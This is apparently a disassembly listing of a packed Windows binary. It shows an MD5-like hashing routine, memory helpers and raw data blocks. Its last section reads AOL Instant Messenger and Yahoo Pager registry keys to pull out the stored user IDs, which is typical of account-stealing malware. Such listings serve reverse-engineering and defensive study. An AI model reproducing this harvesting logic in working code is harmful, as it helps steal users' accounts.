		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_24]
		lea	edx, [edx+eax+432AFF97h]
		mov	eax, edx
		shr	eax, 16h
		shl	edx, 0Ah
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_8]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shr	edx, 11h
		shl	edi, 0Fh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_2C]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shl	edi, 15h
		shr	ebx, 0Bh
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_10]
		lea	ecx, [ecx+ebx+655B59C3h]
		mov	ebx, ecx
		shr	ebx, 1Ah
		shl	ecx, 6
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_34]
		lea	eax, [eax+ecx-70F3336Eh]
		mov	ecx, eax
		shr	ecx, 16h
		shl	eax, 0Ah
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_18]
		lea	edx, [edx+eax-100B83h]
		mov	eax, edx
		shr	eax, 11h
		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_434770
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_433AB0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 21h dup(0CCh)
byte_434421	db 23Fh	dup(0CCh)	; DATA XREF: Themida_:00598529o

; =============== S U B	R O U T	I N E =======================================



sub_434660	proc near		; CODE XREF: sub_433A20+14p
					; sub_433A20+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_4346A7
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43467A:				; CODE XREF: sub_434660+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43467A
		pop	esi


loc_4346A7:				; CODE XREF: sub_434660+7j
		pop	edi
		retn
sub_434660	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4346D0	proc near		; CODE XREF: sub_433AB0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_43471A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4346ED:				; CODE XREF: sub_4346D0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4346ED
		pop	edi
		pop	esi


loc_43471A:				; CODE XREF: sub_4346D0+7j
		pop	ebp
		retn
sub_4346D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434740	proc near		; CODE XREF: sub_433940+4Ep
					; sub_433940+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_43475C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_434753:				; CODE XREF: sub_434740+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_434753


loc_43475C:				; CODE XREF: sub_434740+7j
		pop	esi
		retn
sub_434740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_434770	proc near		; CODE XREF: sub_433A20+60p
					; sub_433AB0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_43479E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_43479E:				; CODE XREF: sub_434770+6j
		retn
sub_434770	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4347B0	proc near		; CODE XREF: sub_401C0Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4347B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4347B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4348A0:				; CODE XREF: ___:loc_401F1Ej
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BDF6
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434E5E
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	1
		push	eax
		call	sub_4016AE
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 50F7241Dh, 4C48300h,	0B9F88Bh, 33000002h, 83D89C0h
		dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh,	0EE85024h
		dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh
		dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh,	0CB59E850h
		dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004435h, 9104E890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h
		dd 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h
		dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 90006A1Ch
		dd 4CB5C7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 446F70h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 4DE80000h, 900247B5h
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 48B507E8h
		dd 0C0859002h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004436h, 20244489h, 8F94E890h, 0B9001Bh, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0CBF0000h, 0F30050E4h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 0E8800000h
		dd 250B4ACh, 8468B90h, 18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 81E85210h, 90024CB4h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 443D4Ch, 0E8694F8Dh,	0FFFCC913h, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h, 1CC483FFh, 1024548Bh
		dd 19E89052h, 8B024CB4h, 8B24247Ch, 47142444h, 7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCC619E8h
		dd 10C683FFh, 5A24FE81h, 820F0044h, 0FFFFFD2Ah,	0F75C2D8Bh
		dd 448D0050h, 68501C24h, 20019h, 0B068006Ah, 6800445Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h
		dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h
		dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B8E1Ah
		dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh,	74FF8518h
		dd 948D5775h, 8024h, 52646A00h,	0BEF3E890h, 0C4837780h
		dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h
		dd 8C48377h, 3C75C085h,	0F424948Bh, 8D000016h, 517C244Ch
		dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh,	170024h
		dd 94888A00h, 8A000000h, 9390h,	68525100h, 4D60B5h, 0FCCB33E8h
		dd 18C483FFh, 0BD93E857h, 83907780h, 0F68504C4h, 0E8560A74h
		dd 777F74EFh, 4C48390h,	1C24448Bh, 0B2C6E850h, 8D90024Ch
		dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h
		dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch,	8D182454h, 2E42484h
		dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h
		dd 0BAh, 10468h, 767DE800h, 8390777Fh, 948D04C4h, 2E424h
		dd 68F08B00h, 4469F8h, 69E86852h, 0E8560044h, 1B8D0Ah
		dd 3E8C6890h, 0E8560044h, 7780A25Ch, 83F88B90h,	0FF8518C4h
		dd 8D576E74h, 802484h, 646A0000h, 0E2E89050h, 837780BDh
		dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h
		dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh
		dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh,	93h, 94838A50h
		dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 0E85718C4h
		dd 7780BC89h, 4C48390h,	0A74F685h, 0E4E89056h, 83777F73h
		dd 548B04C4h, 90521C24h, 4CB1BBE8h, 244C8D02h, 2484C764h
		dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_434E5E:				; CODE XREF: ___:004348E1j
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_434FE2
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2940000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_446948
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_434EE8
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_434FE2
; ---------------------------------------------------------------------------


loc_434EE8:				; CODE XREF: ___:00434ED6j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_50F738
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp ; dword_50F738
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_44693C
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		nop
		call	near ptr 2940000h
		test	eax, eax
		jnz	loc_434FE2
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	short loc_434F9F
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp ; dword_50F738
		jmp	short loc_434FE2
; ---------------------------------------------------------------------------


loc_434F9F:				; CODE XREF: ___:00434F94j
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp ; dword_50F738
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_434FE2:				; CODE XREF: ___:00434E70j
					; ___:00434E94j ...
